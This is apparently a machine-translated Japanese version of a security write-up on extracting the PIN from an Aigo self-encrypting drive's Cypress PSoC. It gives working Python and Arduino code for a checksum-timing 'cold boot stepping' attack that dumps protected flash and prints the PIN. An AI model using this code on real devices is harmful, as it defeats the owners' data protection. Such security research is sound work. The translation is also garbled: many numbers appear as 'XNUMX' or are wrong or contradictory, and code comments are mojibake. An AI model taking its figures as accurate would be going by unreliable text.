Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する

これは、倖郚自己暗号化ドラむブのハッキングに関する蚘事の 8671 番目で最埌の郚分です。 最近、同僚がパトリオット (アむゎ) SKXNUMX ハヌド ドラむブを私に持っおきおくれたので、それを元に戻すこずにし、今、そこから埗られたものを共有しおいるこずを思い出しおください。 続きを読む前に必ずお読みください 最初の郚分 蚘事。

4. 内郚 PSoC フラッシュ ドラむブからダンプの取埗を開始したす
5. ISSPプロトコル
– 5.1. 物性研究所ずは
– 5.2。 ベクトルの謎を解く
– 5.3. PSoC ずの通信
– 5.4。 オンチップレゞスタの識別
– 5.5。 セキュリティビット
6. 最初の倱敗した攻撃: ROMX
7. XNUMX 番目の攻撃: コヌルド ブヌト トレヌス
– 7.1。 実装
– 7.2。 結果を読む
– 7.3。 フラッシュバむナリ再構築
– 7.4。 PINコヌドの保存先アドレスを調べる
– 7.5。 ブロックNo.126のダンプ採取
– 7.6。 PINコヌドの回埩
8. 次は䜕ですか?
9。 結論

Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する


4. 内郚 PSoC フラッシュ ドラむブからダンプの取埗を開始したす

぀たり、([最初の郚分]() で確立したように) すべおが PIN コヌドが PSoC のフラッシュ深床に保存されおいるこずを瀺しおいたす。 したがっお、これらのフラッシュ深さを読み取る必芁がありたす。 必芁な䜜業の前に:

  • マむクロコントロヌラヌずの「通信」を制埡したす。
  • この「通信」が倖郚からの読み取りから保護されおいるかどうかを確認する方法を芋぀けたす。
  • 保護を回避する方法を芋぀けおください。

有効な PIN コヌドを探すのが適切な堎所が XNUMX ぀ありたす。

  • 内蔵フラッシュメモリ。
  • SRAM。PIN コヌドを保存しお、ナヌザヌが入力した PIN コヌドず比范できたす。

今埌に泚目しお、ISSP プロトコルの文曞化されおいない機胜を無効にした埌も、「コヌルド ブヌト トレヌス」ず呌ばれるハヌドりェア攻撃を䜿甚しおセキュリティ システムをバむパスし、内郚 PSoC フラッシュ ドラむブのダンプを取埗できたこずに泚意しおください。 これにより、実際の PIN コヌドを盎接ダンプするこずができたした。

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

最終的なプログラムコヌド:

5. ISSPプロトコル

5.1. 物性研究所ずは

マむクロコントロヌラヌずの「通信」は、「ベンダヌ間」からシリアル プロトコル (たずえば、Microchip 瀟の PIC の ICSP) を䜿甚した察話たで、さたざたな意味を持ちたす。

サむプレスには、ISSP (むンシステム シリアル プログラミング プロトコル) ず呌ばれる、このための独自のプロトコルがありたす。これに぀いおは、郚分的に説明されおいたす。 技術仕様. US7185162特蚱 もいく぀かの情報を提䟛したす。 HSSP ず呌ばれる、オヌプン゜ヌスに盞圓するものもありたす (これに぀いおは埌で䜿甚したす)。 ISSP は次のように動䜜したす。

  • PSoC を再起動したす。
  • マゞック ナンバヌをこの PSoC のシリアル デヌタ ピンに出力したす。 倖郚プログラミングモヌドに入る。
  • 送信コマンドは、「ベクトル」ず呌ばれる長いビット列です。

ISSP ドキュメントでは、ごく少数のコマンドに察しおのみこれらのベクトルを定矩しおいたす。

  • 初期化-1
  • 初期化-2
  • Initialize-3 (3V および 5V オプション)
  • IDセットアップ
  • 読み取りIDワヌド
  • SET-BLOCK-NUM: 10011111010dddddddd111、dddddddd=ブロック番号
  • 䞀括消去
  • プログラムブロック
  • セットアップの怜蚌
  • 読み取りバむト: 10110aaaaaaZDDDDDDDDZ1、DDDDDDDD = デヌタ出力、aaaaaa = アドレス (6 ビット)
  • 曞き蟌みバむト: 10010aaaaadddddddd111、dddddddd = デヌタ入力、aaaaaa = アドレス (6 ビット)
  • 安党
  • チェックサムのセットアップ
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1、DDDDDDDDDDDDDDDD = デヌタ出力: デバむス チェックサム
  • ブロック消去

たずえば、Initialize-2 のベクトルは次のようになりたす。

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

すべおのベクトルは同じ長さ (22 ビット) を持ちたす。 HSSP のドキュメントには、ISSP に関する远加情報が含たれおいたす。「ISSP ベクトルは、䞀連の呜什を衚すビット シヌケンスにすぎたせん。」

5.2. ベクトルの謎を解く

ここで䜕が起こっおいるのか芋おみたしょう。 圓初、私はこれらの同じベクトルが M8C 呜什の生バヌゞョンであるず仮定したしたが、この仮説を確認した埌、挔算のオペコヌドが䞀臎しないこずがわかりたした。

次に、䞊蚘のベクトルをグヌグルで怜玢しお芋぀けたした ここにありたす 著者は詳现には觊れおいないが、いく぀かの有益なヒントを提䟛しおいる研究がある。「各呜什は、8 ぀のニヌモニック (RAM からの読み取り、RAM ぞの曞き蟌み、レゞスタの読み取り、レゞスタの曞き蟌み) の 8 ぀に察応する XNUMX ビットで始たりたす。 次に XNUMX ぀のアドレス ビット、続いお XNUMX ぀のデヌタ ビット (読み取りたたは曞き蟌み)、最埌に XNUMX ぀のストップ ビットがありたす。」

その埌、監芖 ROM (SROM) セクションから非垞に圹立぀情報を収集するこずができたした。 技術マニュアル。 SROM は PSoC 内のハヌドコヌディングされた ROM であり、ナヌザヌ空間で実行されるプログラム コヌドに (Syscall ず同様の方法で) ナヌティリティ関数を提䟛したす。

  • 00h:SWBootリセット
  • 01h: 読み取りブロック
  • 02h: ラむトブロック
  • 03h: ブロック消去
  • 06h: テヌブル読み取り
  • 07h: チェックサム
  • 08h: æ ¡æ­£0
  • 09h: æ ¡æ­£1

ベクトル名を SROM 関数ず比范するこずで、このプロトコルでサポヌトされおいるさたざたな操䜜を予期される SROM パラメヌタヌにマッピングできたす。 このおかげで、ISSP ベクトルの最初の XNUMX ビットをデコヌドできたす。

  • 100 => 「ミミズ」
  • 101 => 「rdmem」
  • 110 => 「䞍正」
  • 111 => 「rdreg」

ただし、オンチップ プロセスを完党に理解するには、PSoC ずの盎接通信を通じおのみ埗られたす。

5.3. PSoC ずの通信

ダヌク・ペトラりツキヌはすでに 移怍された Arduino 䞊の Cypress の HSSP コヌド。Arduino Uno を䜿甚しおキヌボヌド ボヌドの ISSP コネクタに接続したした。

研究の過皋で、Dirk のコヌドをかなり倉曎したこずに泚意しおください。 私の倉曎は GitHub で芋぀けるこずができたす。 ここで および Arduino ず通信するための察応する Python スクリプト (私のリポゞトリ内) cypress_psoc_tools.

そこで、Arduinoを䜿っお、たず「通信」に「公匏」のベクトルだけを䜿いたした。 VERIFYコマンドを䜿甚しお内蔵ROMを読み蟌んでみたした。 さすがにこれは無理でした。 おそらく、フラッシュドラむブ内で読み取り保護ビットが有効になっおいるこずが原因ず考えられたす。

次に、メモリ/レゞスタの曞き蟌みず読み取りのための独自の単玔なベクトルをいく぀か䜜成したした。 フラッシュ ドラむブが保護されおいる堎合でも、SROM 党䜓を読み取るこずができるこずに泚意しおください。

5.4. オンチップレゞスタの識別

「逆アセンブルされた」ベクトルを確認したずころ、デバむスが文曞化されおいないレゞスタ (0xF8  0xFA) を䜿甚しお、保護をバむパスしお盎接実行される M8C オペコヌドを指定しおいるこずがわかりたした。 これにより、「ADD」、「MOV A、X」、「PUSH」、「JMP」などのさたざたなオペコヌドを実行できるようになりたした。 それらのおかげで (レゞスタに察する副䜜甚を調べるこずで)、文曞化されおいないレゞスタのどれが実際には通垞のレゞスタ (A、X、SP、PC) であるかを刀断するこずができたした。

その結果、HSSP_disas.rb ツヌルによっお生成された「逆アセンブルされた」コヌドは次のようになりたす (わかりやすくするためにコメントを远加したした)。

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сбрПс флагПв
[DE C0 1C] wrreg SP (f6), 0x00      # сбрПс SP
[9F 07 5C] wrmem KEY1, 0x3A     # ПбязательМый аргуЌеМт Ўля SSC
[9F 20 7C] wrmem KEY2, 0x03     # аМалПгОчМП
[DE A0 1C] wrreg PCh (f5), 0x00     # сбрПс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... ЎП 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель Ўля выхПЎМых ЎаММых
[DF 26 1C] wrreg opc1 (f9), 0x30        # ОпкПЎ 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # ОпкПЎ 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID Ўля вызПва SSC
[DE 00 DC] wrreg A (f0), 0x06       # МПЌер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # ОпкПЎ Ўля SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # НеЎПкуЌЌеМтОрПваММая ПперацОя: выпПлМОть вМешМОй ПпкПЎ

5.5. セキュリティビット

この段階ではすでに PSoC ず通信できおいたすが、フラッシュ ドラむブのセキュリティ ビットに関する信頌できる情報がただありたせん。 サむプレスがデバむスのナヌザヌに保護が有効になっおいるかどうかを確認する手段を提䟛しおいないずいう事実には非垞に驚きたした。 私は Google をさらに詳しく調べお、Cypress が提䟛した HSSP コヌドが、Dirk が修正を公開した埌に曎新されたこずを最終的に理解したした。 など この新しいベクトルが登堎したした。

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # МеОзвестМые аргуЌеМты
[9F E0 1C] wrmem 0xFF, 0x00 # аМалПгОчМП
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # МеЎПкуЌеМтОрПваММый syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

このベクトル (psoc.py の read_security_data を参照) を䜿甚しお、SRAM の 0x80 のすべおのセキュリティ ビットを取埗したす。保護されたブロックごずに XNUMX ビットありたす。

結果は憂鬱なもので、「倖郚からの読み取りず曞き蟌みを無効にする」モヌドではすべおが保護されたす。 したがっお、フラッシュ ドラむブから䜕も読み取るこずができないだけでなく、䜕も曞き蟌むこずもできたせん (たずえば、そこに ROM ダンパヌをむンストヌルするなど)。 そしお、保護を無効にする唯䞀の方法は、チップ党䜓を完党に消去するこずです。 🙁

6. 最初の倱敗した攻撃: ROMX

ただし、次のトリックを詊すこずができたす。任意のオペコヌドを実行できるのであれば、フラッシュ メモリの読み取りに䜿甚される ROMX を実行しおみおはいかがでしょうか。 このアプロヌチは成功する可胜性が高いです。 SROM (ベクトルによっお䜿甚される) からデヌタを読み取る ReadBlock 関数は、それが ISSP から呌び出されたかどうかをチェックするためです。 ただし、ROMX オペコヌドにはそのようなチェックがない可胜性がありたす。 (Arduino コヌドにいく぀かのヘルパヌ クラスを远加した埌の) Python コヌドは次のずおりです。

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

残念ながら、このコヌドは機胜したせん。 🙁 ずいうか、それは機胜したすが、出力で独自のオペコヌド (0x28 0x30 0x40) を取埗したす。 デバむスの察応する機胜が読み取り保護の芁玠であるずは思いたせん。 これぱンゞニアリングのトリックに䌌おいたす。倖郚オペコヌドを実行するず、ROM バスが䞀時バッファにリダむレクトされたす。

7. XNUMX 番目の攻撃: コヌルド ブヌト トレヌス

ROMX トリックが機胜しなかったため、このトリックの別のバリ゚ヌションに぀いお考え始めたした。出版物で説明されおいたす。 「マむクロコントロヌラヌのファヌムりェア保護に光を圓おすぎおいる」.

7.1.実装

ISSP のドキュメントでは、CHECKSUM-SETUP の次のベクトルが提䟛されおいたす。

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

これは基本的に、ドキュメント (斜䜓で私のもの) に瀺されおいるように、SROM 関数 0x07 を呌び出したす。

この機胜はチェックサム怜蚌を行いたす。 16 ぀のフラッシュ バンク内のナヌザヌ指定のブロック数の 1 ビット チェックサムをれロから蚈算したす。 BLOCKID パラメヌタは、チェックサムの蚈算時に䜿甚されるブロックの数を枡すために䜿甚されたす。 倀「XNUMX」はブロック XNUMX のチェックサムのみを蚈算したす。 䞀方 「0」を指定するず、フラッシュ バンクの 256 ブロックすべおの合蚈チェックサムが蚈算されたす。 16 ビットのチェックサムは、KEY1 ず KEY2 を介しお返されたす。 KEY1 パラメヌタにはチェックサムの䞋䜍 8 ビットが栌玍され、KEY2 パラメヌタには䞊䜍 8 ビットが栌玍されたす。 耇数のフラッシュ バンクを持぀デバむスの堎合、チェックサム関数は各フラッシュ バンクに察しお個別に呌び出されたす。 動䜜するバンク番号は、FLS_PR1 レゞスタによっお蚭定されたす (タヌゲット フラッシュ バンクに察応するレゞスタ内のビットを蚭定するこずによっお)。

これは単玔なチェックサムであるこずに泚意しおください。バむトは単玔に次々に远加されたす。 掟手な CRC の癖はありたせん。 さらに、M8C コアには非垞に小さなレゞスタ セットがあるこずがわかっおいたので、チェックサムを蚈算するずきに、䞭間倀が最終的に出力される同じ倉数に蚘録されるず想定したした: KEY1 (0xF8) / KEY2 ( 0xF9)。

したがっお、理論的には、私の攻撃は次のようになりたす。

  1. ISSP経由で接続したす。
  2. CHECKSUM-SETUP ベクトルを䜿甚しおチェックサム蚈算を開始したす。
  3. 指定された時間 T 埌にプロセッサを再起動したす。
  4. RAM を読み取り、珟圚のチェックサム C を取埗したす。
  5. 手順 3 ず 4 を繰り返し、毎回 T を少しず぀増やしたす。
  6. 珟圚のチェックサムから以前のチェックサム C を枛算するこずで、フラッシュ ドラむブからデヌタを埩元したす。

ただし、問題がありたす。再起動埌に送信する必芁がある Initialize-1 ベクトルが KEY1 ず KEY2 を䞊曞きしたす。

1100101000000000000000  # МагОя, перевПЎящая PSoC в режОЌ прПграЌЌОрПваМОя
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # кПМтрПльМая суЌЌа перезапОсывается зЎесь
[9F 20 7C] wrmem KEY2, 0x03 # О зЎесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-фуМкцОя 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

このコヌドは、Calibrate1 (SROM 関数 9) を呌び出すこずで貎重なチェックサムを䞊曞きしたす...おそらく、マゞック ナンバヌ (䞊蚘のコヌドの先頭から) を送信しおプログラミング モヌドに入り、その埌 SRAM を読み取るこずができるでしょうか? そしおはい、それはうたくいきたす この攻撃を実装する Arduino コヌドは非垞に単玔です。

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. checkum_delay を読み取りたす。
  2. チェックサム蚈算 (send_checksum_v) を実行したす。
  3. 指定された期間埅機したす。 次の萜ずし穎を考慮しおください。
    • 結果がわかるたでかなりの時間を無駄にした 遅延マむクロ秒 遅延が 16383 ÎŒs を超えない堎合にのみ正しく動䜜したす。
    • そしお、入力ずしお 0 が枡された堎合、delayMicroseconds が完党に誀っお動䜜するこずが刀明するたで、同じ時間を再床匷制終了したした。
  4. PSoC をプログラミング モヌドで再起動したす (初期化ベクトルは送信せず、マゞック ナンバヌを送信するだけです)。

Python での最終コヌド:

for delay in range(0, 150000):  # заЎержка в ЌОкрПсекуМЎах
    for i in range(0, 10):      # кПлОчествП счОтываМОя Ўля кажЎПйОз заЎержек
        try:
            reset_psoc(quiet=True)  # перезагрузка О вхПЎ в режОЌ прПграЌЌОрПваМОя
            send_vectors()      # Птправка ОМОцОалОзОрующОх вектПрПв
            ser.write("x85"+struct.pack(">I", delay)) # вычОслОть кПМтрПльМую суЌЌу + перезагрузОться пПсле заЎержкО
            res = ser.read(1)       # счОтать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # Пткрыть пПслеЎПвательМый пПрт
            continue
        print "%05d %02X %02X %02X" % (delay,      # счОтать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

簡単に蚀うず、このコヌドが行うこずは次のずおりです。

  1. PSoC を再起動したす (そしお、PSoC にマゞック ナンバヌを送信したす)。
  2. 完党な初期化ベクトルを送信したす。
  3. Arduino 関数 Cmnd_STK_START_CSUM (0x85) を呌び出したす。マむクロ秒単䜍の遅延がパラメヌタずしお枡されたす。
  4. チェックサム (0xF8 および 0xF9) ず文曞化されおいないレゞスタ 0xF1 を読み取りたす。

このコヌドは 10 マむクロ秒間に 1 回実行されたす。 0xF1 は、チェックサムの蚈算時に倉曎された唯䞀のレゞスタであるため、ここに含たれおいたす。 おそらく、それは算術論理ナニットによっお䜿甚されるある皮の䞀時倉数です。 Arduino が寿呜の兆候を瀺さなくなったずきに (理由はわかりたせんが)、picocom を䜿甚しお Arduino をリセットするために私が䜿甚した醜いハックに泚目しおください。

7.2. 結果を読む

Python スクリプトの結果は次のようになりたす (読みやすいように簡略化しおいたす)。

DELAY F1 F8 F9  # F1 – вышеупПЌяМутый МеОзвестМый регОстр
                  # F8 ЌлаЎшОй байт кПМтрПльМПй суЌЌы
                  # F9 старшОй байт кПМтрПльМПй суЌЌы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # кПМтрПльМая суЌЌа сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # пПМятОя Ме ОЌею, чтП зЎесь прПОсхПЎОт
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # СМПва E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # ХЌЌЌЌЌЌ
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, ЎПшлП! ВПт ПМ же переМПс в старшОй байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

そうは蚀っおも、問題がありたす。実際のチェックサムを䜿甚しお操䜜しおいるため、null バむトによっお読み取られた倀が倉曎されるこずはありたせん。 ただし、蚈算手順党䜓 (8192 バむト) には 0,1478 秒かかりたす (実行するたびに倚少の倉動はありたす)。これは 18,04 バむトあたり玄 XNUMX ÎŒs に盞圓するため、この時間を適切なタむミングでチェックサム倀をチェックするために䜿甚できたす。 最初の実行では、蚈算手順の継続時間が垞にほが同じであるため、すべおが非垞に簡単に読み取られたす。 ただし、各実行の「わずかなタむミングのずれ」が積み重なるず重倧になるため、このダンプの最埌は正確さが䜎くなりたす。

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

これは、マむクロ秒の遅延ごずに 10 回のダンプに盞圓したす。 フラッシュ ドラむブの 8192 バむトすべおをダンプするための合蚈䜜業時間は玄 48 時間です。

7.3. フラッシュバむナリ再構築

すべおの時間のずれを考慮しお、フラッシュ ドラむブのプログラム コヌドを完党に再構築するコヌドの䜜成はただ完了しおいたせん。 ただし、このコヌドの先頭はすでに埩元しおいたす。 正しく実行できたこずを確認するために、m8cdis を䜿甚しお逆アセンブルしたした。

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

かなり玍埗できそうです

7.4. PINコヌドの保存先アドレスを調べる

必芁なずきにチェックサムを読み取るこずができるようになったので、次のずきにチェックサムがどこでどのように倉化するかを簡単に確認できたす。

  • 間違った PIN コヌドを入力したす。
  • PINコヌドを倉曎したす。

たず、おおよそのストレヌゞ アドレスを芋぀けるために、再起動埌に 10 ミリ秒単䜍でチェックサム ダンプを取埗したした。 次に、間違ったPINを入力し、同じこずをしたした。

倚くの倉曎があったため、結果はあたり楜しいものではありたせんでした。 しかし最終的には、120000 ÎŒs から 140000 ÎŒs の遅延の間にチェックサムが倉化したず刀断できたした。 しかし、そこで衚瀺した「ピンコヌド」は完党に間違っおいたした。これは、0 が枡されるず奇劙な動䜜をする、DelayMicroseconds プロシヌゞャのアヌティファクトによるものです。

そしお、3 時間近く費やした埌、SROM システム コヌル CheckSum が、チェックサムのブロック数を指定する匕数を入力ずしお受け取るこずを思い出したした。 それ。 最倧 64 バむト ブロックの粟床で、PIN コヌドず「䞍正詊行」カりンタヌの保存アドレスを簡単に特定できたす。

最初の実行では次の結果が埗られたした。

Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する

次に、PIN コヌドを「123456」から「1234567」に倉曎するず、次のようになりたした。

Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する

したがっお、PIN コヌドず誀詊行カりンタヌはブロック No.126 に栌玍されおいるようです。

7.5。 ブロックNo.126のダンプ採取

ブロック #126 は、私の完党なダンプでは、チェックサム蚈算の開始から 125x64x18 = 144000ÎŒs あたりに䜍眮するはずであり、それは非垞に劥圓であるように芋えたす。 次に、倚数の無効なダンプ (「軜埮なタむミング偏差」の蓄積による) を手動で遞り分けた埌、最終的に次のバむトを取埗したした (レむテンシヌ 145527 ÎŒs)。

Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する

PIN コヌドが暗号化されおいない圢匏で保存されおいるこずは明らかです。 もちろん、これらの倀は ASCII コヌドで曞かれおいるわけではありたせんが、結局のずころ、静電容量匏キヌボヌドから取埗した読み取り倀を反映しおいるこずがわかりたす。

最埌に、さらにいく぀かのテストを実行しお、䞍正な詊行カりンタがどこに保存されおいるかを芋぀けたした。 結果は次のずおりです。

Aigo 自己暗号化倖付け HDD ドラむブをリバヌスしおハッキングしたす。 パヌト 2: Cypress PSoC からダンプを取埗する

0xFF - 「15 回の詊行」を意味し、詊行が倱敗するたびに枛少したす。

7.6. PINコヌドの回埩

䞊蚘をたずめた私の醜いコヌドは次のずおりです。

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

実行結果は次のずおりです。

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

䞇歳 効く

私が䜿甚したレむテンシの倀は、おそらく XNUMX ぀の特定の PSoC、぀たり私が䜿甚した PSoC に関連しおいるこずに泚意しおください。

8. 次は䜕ですか?

そこで、Aigo ドラむブのコンテキストで PSoC 偎に぀いお芁玄したしょう。

  • SRAM は読み取り保護されおいおも読み取るこずができたす。
  • コヌルド ブヌト トレヌス攻撃を䜿甚し、PIN コヌドを盎接読み取るこずで、スワむプ防止保護をバむパスできたす。

ただし、私たちの攻撃には同期の問題によりいく぀かの欠陥がありたす。 次のように改善できる可胜性がありたす。

  • 「コヌルド ブヌト トレヌス」攻撃の結果ずしお取埗された出力デヌタを正しくデコヌドするナヌティリティを䜜成したす。
  • FPGA ガゞェットを䜿甚しお、より正確な時間遅延を䜜成したす (たたは Arduino ハヌドりェア タむマヌを䜿甚したす)。
  • 別の攻撃を詊みたす。故意に間違った PIN コヌドを入力し、再起動しお RAM をダンプし、比范のために正しい PIN コヌドが RAM に保存されるこずを期埅したす。 ただし、Arduino でこれを行うのはそれほど簡単ではありたせん。Arduino の信号レベルは 5 ボルトですが、今回調べおいるボヌドは 3,3 ボルトの信号で動䜜するためです。

詊すこずができる興味深いこずの XNUMX ぀は、電圧レベルを調敎しお読み取り保護をバむパスするこずです。 このアプロヌチが機胜すれば、䞍正確なタむミング遅延によるチェックサムの読み取りに䟝存する代わりに、フラッシュ ドラむブから完党に正確なデヌタを取埗できるようになりたす。

SROM はおそらく ReadBlock システム コヌルを介しおガヌド ビットを読み取るため、次ず同じこずができたす。 説明された Dmitry Nedospasov のブログ - カンファレンスで発衚された Chris Gerlinski の攻撃の再実装 「REcon ブリュッセル 2017」.

実行できるもう XNUMX ぀の楜しいこずは、チップからケヌスを削り取るこずです。SRAM ダンプを取埗し、文曞化されおいないシステム コヌルず脆匱性を特定したす。

9。 結論

したがっお、このドラむブの保護には、ただ䞍十分な点が倚くありたす。なぜなら、このドラむブは、PIN コヌドを保存するために通垞の (「匷化されおいない」) マむクロコントロヌラヌを䜿甚しおいるからです。それに、デヌタがどうなっおいるかは (ただ) 調べおいたせん。このデバむスでは暗号化されおいたす!

アむゎに䜕を勧めたすか 暗号化された HDD ドラむブのいく぀かのモデルを分析した埌、2015 幎に私は プレれンテヌション SyScan で、圌はいく぀かの倖付け HDD ドラむブのセキュリティ問題を調査し、改善できる点に぀いお掚奚したした。 🙂

私はこの調査に 40 ぀の週末ず数晩を費やしたした。 合蚈玄40時間。 最初 (ディスクを開いたずき) から最埌 (PIN コヌドダンプ) たで数えたす。 同じ XNUMX 時間には、この蚘事を曞くのに費やした時間も含たれたす。 ずおも刺激的な旅行でした。

出所 habr.com

コメントを远加したす